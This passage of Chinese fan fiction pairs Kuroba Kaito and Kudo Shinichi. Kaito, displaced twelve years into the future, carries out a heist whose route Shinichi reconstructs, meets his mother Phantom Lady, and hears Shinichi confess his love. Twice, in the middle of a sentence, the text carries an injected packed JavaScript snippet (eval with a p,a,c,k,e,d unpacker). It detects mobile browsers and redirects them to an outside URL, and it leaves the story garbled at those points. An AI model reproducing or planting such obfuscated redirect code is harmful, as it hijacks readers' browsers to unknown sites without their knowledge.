所以真正令他感到困惑的问题是:黑羽快斗与工藤新一到底存在何种因缘,那根在漫长光阴中一直延伸、牵绕在名侦探手中,与怪盗从未断绝的线,究竟是一种什么关系? 他和工藤新一,只是伪装在假面下亦敌亦友的对手吗? 黑羽快斗发现他比自己想象中更在意这问题的答案,尤其当他独自一人,安静地凝心思索未来该如何做的时候,脑海里总是会浮现出侦探分外苍白的脸孔。 血迹从他紧按手臂的衣袖上成片扩散,工藤新一垂下眼睛,用有些无可奈何的寂寞声音轻轻说:黑羽快斗,你是被人杀死的。 那是他第一次看见对方不再无懈可击的样子,工藤新一的肩膀轻倚门框,衬衣领口也随之滑开一些,看得见一截形状优美的锁骨,他看向黑羽快斗的目光落进了回忆里,是在看他,也是在遥望一个永不得见的故人,浓密睫羽慢慢低垂,在月光下的模样好似被揭开一片瓷白外壳的美丽神像,微颤的呼吸泛起一层潮湿薄红的痛楚。 想到那人昨夜伤口发炎,陷入高热还浑然不觉,甚至醒来还顽固至极地要求前往冒牌怪盗的预告现场,黑羽快斗微不可察地蹙起眉心,心底窜起一股说不清道不明的气恼,全然忘记了自己此前也极期待与名侦探交手。 很难用单一的说法来形容黑羽快斗对工藤新一的感觉 名侦探对他的执着和在乎更是让黑羽快斗的内心百感交集。 在这个对他而言全然超前的世界里,工藤新一……很特别,在通过任何唯物或唯心基准来评定此人之前,黑羽快斗就视他为非同寻常的人物。 他轻轻叹了口气。其实黑羽快斗一直能感觉到自己在这世界的格格不入,陌生的时代、陌生的人,他所熟悉的一切都无处可寻。作为怪盗,他更是如履薄冰。十年的跨度意味着他的对手可能掌握了他未曾认知的科技手段,他也难以预测那些人对自己了解多少。这样的局面下,两边差距悬殊到史无前例。 但是怪盗,就是这种在无数不可能的绝境中开辟一线生机,胆大无畏、华丽登场的存在。 思及此处,已然身在铃木大厦的黑羽快斗倏然笑了笑,指尖伸进洁白的手套,慢条斯理地整了整腕侧褶皱的织料,双手自然地垂在身侧。 夜半来为宿敌扫墓的名侦探,层出不穷的模仿犯,精力旺盛的大富豪以及蜂拥而至的警官们……真有意思,相隔十年,还有这么多人对自己念念不忘。 他无声路过地上昏迷的警员,此刻正是怪盗忙里偷闲的时刻,他将目光转向铃木财阀总部大厦的楼外夜景。高层视野宽阔优越,迎面泼洒的月色与后方射来的灯光将他脚下的孤影两分,玻璃窗上倒映出帽檐阴影下视线强烈的清冽眼睛。 在黑羽快斗凭空出现的数日之后,一封署名为怪盗Kid的预告信神不知鬼不觉地出现在工藤家的信箱中。对方气焰嚣张地挑衅着当代最伟大的侦探,并将目标直指铃木财阀昔日收藏的半枚钥匙。 地点在铃木财阀的总部大厦,时间正一分一秒地趋近预告所揭示的时点。 无论是那个胆大包天的冒牌货,还是铃木园子所言中与潘多拉的特征吻合的宝石,黑羽快斗都颇感兴趣。 “那么,就让我横插一手吧。”17岁的少年低语着拉低帽檐。 当下怪盗之名江河日下,而他在这个时代更是默默无闻。彼时四下无人,黑羽快斗依旧优雅地在原地略一欠身,就像上世纪仪态优雅的艺术家、风度翩翩的魔术师,在表演之前向看不见的观众致礼。 随后他迈开步伐,没有人为他计算时间,万籁俱寂中,靴底稳稳地贴合地面。 咚! 窗外的月光逐渐延伸,空气奏出第一个无声震颤的响亮节拍。 随即舞台拉开序幕。 “他迈出的第一步一定刚好在夜间11点58分02秒,一分不多,一分不少。” 怪盗Kid作案的第二天,工藤新一在警方和铃木财阀共同参与的远程会议中如是说。 他坐在桌前,放下啜饮了一口的温水,面前的平板上分割出与会人员视频中的画面,手上拿着一支触控笔,拨动屏幕中央的监控画面。 无论他拖拽到几时几分的录像,影像中始终没有出现任何人的身影。 “可以确定的是,对方事先已经取得铃木财阀这座总部大厦的内部资料。包括建筑内部的构造图、监控摄像头的位置、安保的巡逻路线。”工藤新一平静地说。 这点皆在众人预料之内,怪盗的情报搜集能力向来出类拔萃,但铃木次郎吉对此并非束手无策,而是设计了一个纵然被知晓构造也无法潜入的防卫系统。 他将Kid的目标放在只有一间有门无窗的密室中,得到目标需要满足两个条件:一是通过一条全方位覆盖摄像头的之字形走廊,二是打开电脑管控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588911|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的防护门。 走廊的摄像头能够360°旋转,每个相距2.5米,扫视范围重叠半径为2.1米,分为每圈3.5秒、4.8秒、6.7秒三种转速。摄像头连接AI报警装置,设备被毁坏或者影像被骇入都会自动报警,监控区域内出现人物也会报警。整条走廊相当于利用现代最尖端的科技打造的一座钢铁牢笼,任何人都无法涉足,足以防范擅长易容的怪盗。 另外,走廊尽头的防护门只在正确输入动态随机密码之后才会开启。密码分三部分,由主机分别发送至铃木次郎吉、铃木园子以及中森警官的手机,而且三位在预告时间被安排在不同楼层留守,彼此不知道其他人收到的密码。 但是,纵然这些布置已经看似万无一失,怪盗还是成功取得了目标。 视频那边的铃木次郎吉双手砸了一下桌子,吹胡子瞪眼:“我到现在还是无法置信!难不成那小偷真的会魔法?!” 他语气里的恼怒和眼神中暗藏的一丝窃喜都如此鲜明。能如此干脆利落地破解他天衣无缝的防卫系统,除了那个总是一身白衣、狡猾至极的老对手,还有谁能做到? 老爷子的怒吼里穿插了“咔嚓”一声,工藤新一的面前被放下一个餐碟,修长的手指一闪而过,众目睽睽之下,名侦探瞥了边上一眼,似乎是示意工作场合吃东西太过失礼。 其他人这才注意到,虽然会议时间已近中午,工藤新一却似乎才起身不久,肩上披着一件单衣,脸色也不是很红润,一副大病未愈的模样。 说来搜查一课那边倒是有人说过,工藤新一前两天办案时被匪徒所伤。据说他被同僚从车里架出来的时候,还有人看见整个副驾驶的车座上都沾满了血。 伤患主动协助他们开展工作的作为实在太考验人的良知,屏幕里顿时有人说没事没事工藤侦探不用太拘谨,以身示范地嗑了一粒麦丽素,连最苛刻的中森警官都没说什么。工藤新一不想他们在自己的事上纠结太久,只好用空着的左手拿起涂了蜂蜜的烤面包,咬了一口。 因为这个动作,他无名指上的戒指也暴露在众人的视野中,结合方才端来餐盘的神秘之手,引起诸多暧昧的遐想。 侦探的轻咳把他们走偏的思绪拉回正事,工藤新一调出铃木大厦的内部图,继续说道:“据我看,对方是先伪装成巡逻的安保,合理地接近目标所在的楼层。这一队、这一队,还有这一队,巡逻路线都符合他的需求。而且在电梯口的左边转角,有一个可移动摄像头的死角。只要他在这两队相遇的瞬间一举迷晕所有人,就能创造五分钟的巡逻缺口,进而入侵走廊。11点58分02秒,一号摄像头会转到42°方向。他只要站在摄像头后方,同步镜头旋转的速度走进走廊,就可以绕过四号摄像头与之重叠的2.1米监控区间。在0.4米的活动空间内,他转向82°方向前进,切入三号摄像头的盲区,并避开五号摄像头的重叠区间……” 工藤新一边说一边在布防平面图上画出路线,这是他今早才拿到的布置,因此不介意被旁边的人看到。 根据他条理分明的分析,侵入者的行动轨迹被逐渐揭开了神秘的面纱,清晰地展现在地图中央。 但真的有人能完成如此苛刻的潜入计划吗?其他人光是旁听和想象,都要为那无限接近零的容错率感到窒息。 普通人的肩宽在0.3米到0.4米之间,几乎达到了监控盲区的活动空间极限。能够移动的空间如此狭小,抬手迈步都可能触碰红线。在天罗地网的监控下,稍有差池就会显露形迹,进而触发警报。 在如此高压的危险环境中,对方的步伐、心跳、呼吸都不能乱,必须始终保持逆天的身体掌控能力,随时根据摄像头的转速改变步伐。这也展现出他的计算能力和动态视力都几近非人,心态更是如怪物般平稳。 倾听工藤新一叙述细节的人们不禁一阵心悸。 眼前仿佛浮现出入侵者信步前进的画面,空气寂静,机械运转,人眼不可视的空间里遍布雷区,而他双手插进衣兜,从容如闲庭散步。 然后将时间的指针倒转,回拨至前日午夜,黑羽快斗的每一步确实都精准踏在工藤新一后来勾画的路线上,连节拍也分秒不差,百余米的回廊被他走得不疾不徐,衣摆翩跹扬起,气焰极度嚣张。 “……防护门前有两名警员把守,他们是电子监控之外的‘查漏补缺’。但最后的转角存在一个让他行动的机会,只要他能在暴露身形的瞬间比警员更快地完成攻击。” 黑羽快斗平稳地走到转角,进入守备警员的视线范围,他站在两个摄像头死角的交汇处,瞬间抬手扣下扳机。 跟随工藤新一复盘的众人只能看见两张枚扑克在空旷的画面中凭空闪现,接着传来两声微不可察的倒地声。他们知道,这是看守的人在反应过来之前就被弄昏了过去。 “仅用1分58秒,他突破了监控区,正好在零点整抵达防护门的位置。”工藤新一用笔尖轻点屏幕,说道,“对方提前通过电脑设置了防护门的开启时间,但动态密码的条件是程序的底层指令,无法更改。不过这个问题可以变通,比如变更动态密码的随机数字区间,密码的第一位数取值范围仅为‘1’,第二位数取值范围仅为‘4’……” 狡猾而直白的计策,却又灵巧地绕开了正常人的思维定势,视频会议中除了工藤新一平稳的声音,所有人都听得屏住了呼吸。 0:0:0 分秒不差的时间。在铃木家的大楼内,一楼大厅里的铃木园子、十二楼监控室的中森警官,以及十八层机房外的铃木次郎吉,三人的手机同时跳出动态密码的邮件。 在他们点开信息的同一瞬间,黑羽快斗站在防护门前,他的手速极快,按键如飞,打开键盘输入12位密码。 “您收到一封新邮件:【Bell Tree】防护门动态密码:1412,5分钟内有效。” “您收到一封新邮件:【Bell Tree】防护门动态密码:1412,5分钟内有效。” “您收到一封新邮件:【Bell Tree】防护门动态密码:1412,5分钟内有效。” 三封一模一样的短讯同时滑过那三人的屏幕,1412的犯罪数字在视网膜里张牙舞爪,环环相扣的表演精准得嚣张,仿若电流直接刺激神经般令人战栗。 “正如预告函所揭示的时间,没有丝毫误差,就像一场让所有电子设备都彻底失灵的魔术,他克服了你们的挑战,完成了一场漂亮至极的演出,不是吗?” 沉浸在怪盗那梦幻的潜入想象中,远程会议陷入落针可闻的寂静,侦探带着笑意的声音成为揭示他们心理活动的最佳旁白。 有多久违了呢?这种让人感到束手无策和不可思议的震撼体验。 气氛瞬间被引燃。铃木园子喃喃自语着“Kid大人”,铃木次郎吉和中森警官也如梦初醒般猛地站起。 “是那个家伙!” “那个混蛋又复出了啊!” 音响里接连爆发出他们的吵嚷声。 而揭晓这事实的工藤新一抬起眼睫,锐利目光越过平板,投向坐在他对面的少年。 黑羽快斗亦回望着他,目光灼亮,眼底溢出难以压抑的兴奋,因为终于见识到宿敌与自己旗鼓相当的能力而高兴不已。生性争强好胜的天才最具少年心气。工藤新一仅凭旁人的描述和资料就能从局外点破他的筹划,黑羽快斗毫不怀疑对方若是亲临现场,将会给他带来何等凌厉的阻挠和乐趣。 因此当工藤新一结束了对怪盗的复盘会议,关闭平板,将质询的目光看向他时,黑羽快斗也并不意外侦探看破了自己意欲隐瞒的另一个秘密。 “所以,你进入防护门之后,遇到了谁?” 黑羽快斗睫羽低垂,纵然眼底掠过一缕犹豫之色,他还是告诉对方:“是我的一位故人。” 8. File 08 预告当晚任何监控设备都没有捕捉到黑羽快斗的身影,隔日工藤新一根据布防和录像中的零星线索,如临现场般向警方还原了他的行动轨迹。然而,被讨论分析的人却奇怪地感觉被对方包庇,因为他自始至终都参与了旁听,自然听得出来,工藤新一堂而皇之地徇了私。 仿佛心照不宣,这个人隐瞒了最重要的推理:黑羽快斗突破防卫门后,密室中发生了什么。 “滴——” 机械音拖长,显示屏上密码“141214121412”闪烁消失,侧灯由红转绿,黑羽快斗垂下双手,注视着面前冰冷厚重的铁门缓缓打开。 满室寂静,唯有凝成白雾的冷气不断膨胀,从与世隔绝的房间中弥漫而出。 少年怪盗没有贸然行动。 倒映着周围景象的蓝色眼珠缓慢转动,分明四下无人,他的颈后却寒毛冷竖,鸡皮疙瘩掉了一地,只觉凝聚于自己周身的杀气浓重得让人毛骨悚然。 攻击这时从侧方袭来! 身侧缓慢流淌的冰冷空气骤然紊乱,震颤似的向外一荡,黑羽快斗的瞳孔微微一缩,饶是他的反射神经已然快到一个不可思议的地步,也只来得及转过半边身体,仅凭直觉去抬手格挡—— “唔!” 黑羽快斗痛哼一声,他确信自己已卸去大半力道,但手臂仍感到骨裂般的剧痛,心下断定来者绝非善类。他别开那一击猛烈的扫腿,快速向墙边闪避,期间目光扫至门口,面上浮现出骇然神情。 只见原先被他用扑克击昏的两名警员栽倒在地,脖子以活人绝不可能做到的角度扭折到一旁,居然已经双双丢掉了性命。 从自己转身输入密码,到开门遇袭,这才经过几秒时间?竟能让袭击者接连出手三次,连他都险些中招。 黑羽快斗的内心霎时一片冰寒。 职业杀手? 还是盯上潘多拉的组织? 他来不及思考更多。 对方的身手比黑羽快斗只高不低,就算一击未中,也毫无停顿地跻身而上,动作简直匪夷所思到了吊诡的地步,肢体极度柔韧,动作遍布杀机,每次出手都力求毙命。 面前绷带缠绕的脸庞森然如鬼,只露出一双杀气弥漫的锐利眼睛,难以想象女性的身手居然能有这样恐怖的压制力。黑羽快斗在生死一线中的求生本能刺激着肾上腺素急剧分泌,近乎是凭借天生的直觉和幸运来应对。 哪怕他手段用尽,还是只能被步步紧逼着后退。 这般紧密强劲的凌厉攻势已经达到以力破巧的程度,黑羽快斗紧咬牙关,找不到任何耍小聪明的机会。从看见警员被杀时冲上心头的汹汹怒意瞬间冷却,理智占据上风,大脑拼命思考着逃生的计策。 他不想无所作为地死在这里,也答应过工藤新一,绝不会步入过去那个黑羽快斗的后尘。 然而此时对方好似通过这番缄默的对抗确认了什么,微眯起眼,略显怀疑地开了口。 “黑羽盗一的儿子?”她语气嘲讽,“难怪你没死,原来抱头鼠窜的能力叫人惊叹。是被吓破胆了吗?这次居然不见你们父子最钟爱的白色礼服。” 黑羽快斗这次潜入没有换上标志性的白西装,而是出门时被工藤新一看见的那身便装。他既然知晓有人冒用怪盗的名号,又顾忌着当下不同于他熟悉的时代,并不打算擅用Kid之名高调登场。 因而他鸭舌帽下的蓝眼睛透着冷冽,并不接话,而是问:“你是谁?” 绷带缝隙中的红唇微微上扬。 “怪盗。”她说。 黑羽快斗道:“你以为我很好骗?” “黑羽盗一的儿子,你以为什么是怪盗?”她出手如电,扣住黑羽快斗的脖颈,将他按倒在地,逐渐将力道收紧到黑羽快斗耳边能听见血管鼓胀皮肉撕扯的声音,颈项的骨关节咯吱咯吱摩擦作响,似乎下一刻就会节节断裂。 对方笑意盈盈地瞧着他逐渐不太好看的脸色。 “神出鬼没?那是小偷的共性。逃生的技巧?那是生存的基础。那么,艺术家的品格?魔术的把戏?这是孩子气的你们给自身绑缚的约束。” 她不屑一笑。 “不择手段,化不可能为可能,行不可行之事,险境求生,能存活到最后的,才是真正的怪盗。你和黑羽盗一都是败者,拙劣的道化小丑而已。” “你闭嘴!”过世的父亲是黑羽快斗的逆鳞,他怒目而视,甚至忽视了喑哑女声中透出的一丝熟悉的气息。 “你也不过如此。”漫不经心的声音低低压在他耳畔,禁锢他咽喉的手指愈发收紧,危险气息鬼魅得如同来自地狱的幽鬼,撼摇他愈加恍惚的意识,“黑羽快斗,就算你学会黑羽盗一那一身的技艺又有什么用呢,不过也是,一事无成,死得冤枉。” 一事无成,死得冤枉。 黑羽快斗的胸肺已经缺氧得刺痛,头脑隐隐恍惚,这句钻入脑海的话语揭开了他内心最深的恐惧,逼迫他直面自己最不愿面对的绝望现实。为了复仇投身到黑暗世界,放弃了身为普通人的自己,背离了光明无瑕的未来人生,累得视为亲人的长辈也为此付出性命,他失去了不计其数的东西,但他最终还是什么都没做到,无法得偿所愿,连死因也不为人知。 多么可怜又可悲。 自己这一次又会重蹈覆辙吗? 不,强烈的不甘骤然袭上心头,黑羽快斗不知自己又从何处得到了力气,竟让他挣脱开对方的桎梏。过于激烈的情绪统摄了黑羽快斗的思想,他没有如自己所计划的那样立刻转身脱逃,高速运转的大脑似乎计算出了另一种可能性,在本能的指引下,他出手抬臂接住对方的攻击,紧接着反击,两方的身手动作几乎路数一致,从生疏逐渐变得流畅,乃至反制。 “——砰!” 不过五分钟的高速对抗,情形完全颠倒,女子被黑羽快斗锁住咽喉按在地上,少年俯低身体,姿态如猎豹般年轻又矫健,蕴满旺盛的活力,他的神色晦涩复杂,既有不加掩饰的怒意,又对自己能翻盘感到难以置信,眼底霜寒般的冷意呼之欲出。 太轻易了。 敌人明明没有变弱,但自己忽然……像是领会了,或者说,想起了。 凝视着对方毫不掩饰狂妄兴奋的双眼,在他沉默的同时也心照不宣地沉默着,像是在等待他……等待什么?黑羽快斗忽然感觉到一丝熟悉的气息,他发现自己记得这双眼睛,甚至对此刻的注视习以为常,这个发现令他一阵心悸。 “快斗。” 黑羽快斗的poker face在这声呼唤中彻底崩毁,他难以置信地瞪圆眼睛,唇瓣不知为何发起抖来。 听出来了。这声音。 “妈妈……”他讷讷开口。 在墓园里看见自己和父亲的墓碑时,黑羽快斗心中最大的庆幸就是养育他的母亲没有被他们的复仇牵连进去。他调查了江古田的黑羽家旧址,在过去的自己丧命时,他家的房子也在爆炸中被彻底摧毁,如今那个地方已经建起了一栋全然不同的住宅,由一户全新的家庭居住了进去。 黑羽快斗向周围的邻居打听消息,想知道母亲的去向,得到的答案是她处理完自己的后事以后就卖掉了家里的土地产权,独自离开了这个国度,此后再也没回来。黑羽快斗听完,既为她的平安无事松了口气,也为她现今踪迹难寻感到怅然若失,不知母亲是否安好。 现在黑羽快斗知道了真相,原来她和父亲一样,也拥有超乎寻常的双面人生。 对方注视着他藏不住强烈动摇的脸孔。 “你是个优秀的孩子,聪明得出类拔萃,所以在你很小的时候,我与盗一曾争执过应该给予你什么样的教育。”绷带间的红唇轻启,女子用一种含着笑意的声音说着,“后来的结论是,尊重你的意愿。你这孩子从小就崇拜父亲,所以把盗一的魔术学得炉火纯青。” 她用手指缓缓揭开缠绕面庞的绷带,露出一张岁月不败的美丽面容。 “但盗一的死让我意识到他的教育存在缺陷。”她淡淡地说着,“所以后来我把我所有的技艺都传授给了你。快斗,你应该也了解什么是变装的精髓。基础的变装是模仿外貌衣着,精妙的变装是模仿气质举止,最高深的变装是让自己也信以为真,也就是催眠自己。我用催眠改写过你的记忆,隐瞒了那段过去,但到了生死关头,你就能想起我教过你的东西,这是我教给你保命的底牌。” 黑羽快斗不知道该说什么,有些失神地凝望着她。 虽然他对亲耳听闻的一切感到茫然震惊,直觉却告诉黑羽快斗对方没有撒谎。 搜罗自己脑海中过往17年的记忆,看似平凡而淡泊,却又好像始终被一个密不透风的谎言彻底笼罩。他没看懂过自己的父亲,也没看懂过自己的母亲,甚至连自身也没有看清。 “很抱歉一直瞒着你,我的儿子,对不起我骗了你。”他的母亲叹息地说着,“我是黑羽千影,千影代表着千重幻影。Phantom Lady,即为怪盗淑女。和你有着艺术家品格的父亲不同,我精通潜行、格斗、变装、刺杀,年轻时曾在某些人的驱使下盗窃昂贵的珍宝,但自出身来说,我所学的技艺在地下世界有个更统合的名字——暗杀术。” 黑羽千影告诉他:“我一直是一柄开刃的兵器。” 十年以前,黑羽千影为了防备敌对组织的追踪,特地在江古田留下了眼线。黑羽快斗因此知晓为何怪盗的预告在自己造访黑羽家的旧址以后紧随而至,针对性地投递到他寄宿的工藤家,并且引来黑羽千影亲自埋伏于防护门的入口。 黑羽快斗和工藤新一的相貌极为相似。他留在那位侦探身边,一是为了便于借用现成的情报网调查,二则是外人很容易自行将他们误解成关系不远的亲戚,避免他一个人凭空出现会引起有心人的关注。 他这番掩人耳目的伪装能瞒过陌生人,却瞒不过黑羽千影。他们是朝夕相处过17年的家人,没有人比她更熟悉亲子的样貌举止。 “我也不知道自己出现在这里的原因。”黑羽快斗坦言说,“回过神来的时候,就发现我出现在十二年后,墓碑上记载我成为怪盗以后只活了两年。” 黑羽千影闻言呼吸急了一些,喃喃自语道:“是我和盗一的错,最初就不该把你扯进来……” 她懊悔的声音里掺着深沉的悲切,黑羽快斗心中不忍,刚想说他从不后悔成为怪盗,也不会责怪妈妈,忽然听闻对方话声一转。 “但是你已经不用担心了,快斗。你十年前就已经找到并毁了潘多拉,因此才遭到组织的临死反扑。妈妈这些年一直在帮你复仇,现在他们的组织已经快要完了,只剩下一些苟延残喘的残党,他们压根不足为虑。” 黑羽千影这番状似平静的话语深处暗涌着淋漓的血气,随后解释门口被她杀死的警员也是被残党假冒的冒牌货,让黑羽快斗不用内疚。她带走了那两名组织成员的尸体,事后警方果然也没有发现有人遇害,只当是怪盗又耍弄了什么障眼法,才把他们的人转移了出去。 让黑羽快斗有些在意的是,黑羽千影此行似乎只为与他借机相见,对她在预告信中提及的钥匙毫无兴趣,临走前都未看一眼中央展柜里放置的目标,反倒是对黑羽快斗说:“快斗,我不知道你现在的状况能维持多久……但是,现在的你已经没有继续作为怪盗行动的理由,也没有继续复仇的对象了。没必要再待在那个麻烦的侦探身边,你可以拥有完全属于自己的新人生。” 她说这个时代不需要他再做什么。 劝他别再涉足危险。 劝他离开工藤新一。 这番全然出乎他料想的话语让黑羽快斗感到心神不宁,除了好似骤然失去目标的虚无之外,还有一丝丝的异样从心底涌起。 既然这次行动只是引他出面和顺便吸引组织的诱饵,铃木家罕见珍贵的宝石不知凡几,又是怪盗Kid向来青睐的目标类型,黑羽千影为何特地将目标择定为一把名不见经传的钥匙?从铃木园子口中得到的宝物传言,又是否确有其事? 潘多拉当真被毁灭了吗?组织的人真的所剩无几了吗? 他不愿意用怀疑的念头揣度自己母亲的话语,但心中隐约却觉得,她所说的一切都只是哄骗他远离漩涡中心的托词。 自己该如何是好?要和幼时一样,心安理得地接受平凡却安逸的人生,然后距离真相越来越遥远吗?但妈妈已经失去过我一次…… 这念头让黑羽快斗有些难过。 就像永远抗拒变成大人的彼得·潘,他其实不太喜欢这个一切都显得太遥远的时代。所有人都被迫成长成熟,不得不接受世界被倒放在无处不在的谎言之中。 黑羽快斗到隔日早上依旧有些怅惘,按捺着情绪坐在工藤新一面前,没想到自己竟不知不觉中越来越认真地倾听他泰然自若地分析自己的行动、思路,然后,在最关键的位置戛然而止,对方竟然选择了结束会议。 他抬起眼,视线被名侦探冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588912|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静明晰的双眼攫住,思绪仿佛被看透,灵魂似被洞穿,一时身心无法脱逃。 这个人代表了与黑羽千影的提议截然相反的另一种选择,纵然那可能是一条让人鲜血淋漓的荆棘之路,却通往他所向往的真实。 “所以,你进入防护门之后,遇到了谁?” 私人对谈的第一个问题就一针见血,正中红心。 名侦探果然非同凡响,永远心无迷惘地剑指真相,骄傲地勇往直前。 让他好似也不再感到犹疑。少年感慨地想,无法再忽视自己的心动。 黑羽快斗不能将怪盗家族的一切都对宿敌侦探坦言相告,同时也直觉轻率的谎言只会被工藤新一轻易揭穿,因而眸光下敛,给出的答案是不掺任何敌意的“故人”。 17岁的黑羽快斗在怪盗潜入现场能遇到什么故人? 工藤新一怔了一下,脑海中立即划去中森警官的名字,思索一会儿,眸光落在黑羽快斗掩藏了失落的脸孔。 “怪盗淑女?”他记得Kid说过她是他的母亲,而且黑羽家的幸存者也仅剩下她。 “呃……你怎么连这个都知道啊!?”黑羽快斗惊讶得差点翻了椅子,不可思议地瞪着工藤新一若无其事的脸孔。他还是昨晚才得知母亲是怪盗这件事,受到了很大的冲击。 “没什么,以前你告诉我的。” “没什么吗?这听起来很糟糕啊!优秀的怪盗不该这么口无遮拦……” “因为你对我比较特别吧。”工藤新一靠向椅背,在黑羽快斗不可思议的注视中冷静地端起杯子喝了口温水,好像完全没意识到自己说了多么意味深长的话语,垂下眼睑笑了笑,“这又没关系,我不会跟别人说的。因为对我来说你也比较特别。就像你提起‘名侦探’的时候一定是在叫我,而我想起‘怪盗’这两个字的时候——” ——心里也只有你。 自十二年前黑羽快斗横空出世,怪盗就理所当然般等同于他的专属代称。惊才绝艳的犯罪天才宛如一轮当空皓月,将同时代各有所长的其他人物都映衬得黯然失色了。 空气随着他陷入回忆一时归于寂静。 就像注视着一张属于旧时光的美丽胶卷,黑羽快斗一帧一帧地仔细观察他的神情,交叉起十指搭在颌下,拖长语调“欸——”了一声。 过了一会儿,临近于面前投下来的人影让侦探抬起眼睛。 “名侦探,你这么喜欢怪盗?” 在工藤新一眼前的少年将双手藏在身后,站姿舒展,立领上方的一张脸孔几乎能用容貌诉说世间一切韶华胜极的青春美好,微微一笑,很容易使人专注于他纯粹又干净的无害笑容,而忽视他话语中几近于无的侵略性,逆着光影的蓝色眼睛看起来深如潭渊。 应该是很喜欢吧。 黑羽快斗在心里猜想过无数次他们的关系,通过长久注视着工藤新一的一双眼睛,然后得出几乎不容分辩的定论。 喜欢到执着的程度,已经能算得上是耿耿于怀,念念难忘。 这个时代淡忘他的人太多,就算在他的家乡,黑羽快斗也已经成为左邻右舍旧年记忆中一道逐渐模糊的虚影。然而唯独在工藤新一这里,他感觉自己存在的痕迹仿佛从未褪色。 逢案必究,对黑羽快斗几乎熟稔到了骨子里,重逢以后对他的言谈举止更是自然至极。 那不是因为他们熟稔到那种程度,而是在对方心中,从未与黑羽快斗历经过一场生死相隔的漫长别离。 他们于午夜墓园的邂逅,寻常得宛如旧友间的一次不期而遇。 太离谱了吧。黑羽快斗内心对工藤新一这般好似理所当然的荒诞认知感到很多复杂的情绪,也有点困扰。 为什么自己不是与对方相遇以后再来到这个时代呢?经历追不上感情啊。 不过那样的话他估计会更盼望回到那个属于自己的时代,回到他的工藤新一身边吧。 这个时代带给黑羽快斗许许多多的遗憾和不甘,但唯有他好像被工藤新一情有独钟这件事,让他品尝到了一种掺杂着微弱不幸的幸运滋味。理智上他觉得不应该太鲁莽地将其揭破,感情上却觉得无所作为才会错失一切,心情被对方牵动着,情难自已,还是问了出来。 你喜欢怪盗吗? 既然你心中的怪盗只有黑羽快斗,那你—— 喜欢我吗? 工藤新一被黑羽快斗的问题拉扯着思绪,他的手掌下压着关闭的平板,迎向对方居高临下的视线。 这般大胆又双关的试探令他回想起以往对决后怪盗侦探的密会。 在风中,在月下,他们无数次把闲谈延展到彼此以外不欲告人的话题,离经叛道和暗昧情衷都藏匿在那个时光隅隙。原本泾渭分明的立场和距离被一同无视,侦探若无其事地对他展露出心底别扭的关心,怪盗也有意无意地诉说着对他独一无二的中意。 他们有多默契,目光交错一瞬工藤新一就领会了黑羽快斗眼底微微闪烁的在意。 这个问题曾经与对方同样年轻的工藤新一听见还会心乱如麻无法回答,但现在的工藤新一就只是微微一笑。 他喜欢怪盗么? 工藤新一说:“我是爱你,黑羽快斗。” 他的眼睛就像是一望无际的深海,是那么从容又盛大地容纳了黑羽快斗瞳孔深处风云变幻的天色。 ——要是他们没有时空的错位该多好。 这般思绪无意识地涌现在黑羽快斗的脑海中。 黑羽快斗与工藤新一将在彼此最年轻气盛的岁月相遇,互相追逐着能与对方交手的舞台。就像两颗在宇宙中孤独流浪的星球,无可抗拒地被对方的重力所牵引。宿敌或是恋人的概念在穷尽智谋的进退攻防面前失去差异,互不服输与惺惺相惜的感情永远缠绕于他们的日月朝夕。 可惜这样的幸运其实属于另一个黑羽快斗。 可惜那一个黑羽快斗再也不会回来,名侦探又成为孤独流浪的星球。 心口好痛,他无意识地咬唇,隔着皮肤和肉还有骨头,好像被工藤新一的话语溺死了什么。这一刻凭空出现的遗憾天翻地覆般泛滥成灾,黑羽快斗的感情好似被属于这个时代的自己所统摄。心脏仿佛化作异次元生物,奇形怪状地发出挣扎的叫喊。 那是同样成为孤独星球的黑羽快斗—— 温柔又残酷,眷恋又绝望,在得不到任何回响的漆黑宇宙中轻柔地回答: 我也爱你,工藤新一。 9. File 09 “那么,我可以吻你吗?” 听见工藤新一无异于表白……不,就是表白的话语,黑羽快斗没有第一时间给出回应,反而静了片刻,听见自己这样噙着笑意发问。 谁让他实在聪明得骗不了自己,起初席卷心潮的憾然炽意平息下来,立刻有冷意钻进指尖,细细密密地涌进血管深处,他清醒地认识到工藤新一这句剖白本就不是对他说的。 他没办法回应,对方也不需要他回应。 这个结论使得前阵子一直在他心头高高悬挂的一块巨石轰然落地,在这场跨越生死的时间闹剧中,他最意想不到的幸运与不幸终于都落到了实处。 让黑羽快斗无比心动难耐的宿敌,却希望透过他,看到那个早已消失的自己。 闻言,工藤新一抬起眼睫,一眼望去尽是韶光美好。 他家的窗户开得很大,清晨的天光映着生机盎然的庭院景象。黑羽快斗的睫毛被染上一层干净的光边,不认输地把执拗的眼神注入工藤新一的瞳仁,藏也藏不住骨子里17岁少年的桀骜不屈,那正是不知离愁却又爱恨最为浓烈刻骨的矛盾年纪。 他已经记不清自己究竟在多少年以后,才恍然觉察这一点的。 就算后来看清了这份心意,他也早已错过太多,再没有将其对所爱的人诉之于口的机会。 但是黑羽快斗又是为什么一直没说呢? 工藤新一现在回想起来,发现他们有很多对方将要说什么却什么都没说的时刻,在侦探的记忆里凝缩成白色礼帽下那双瞳色柔软的专注眼睛,那眼神即是黑羽快斗最诚挚也是最后留给他的情话。 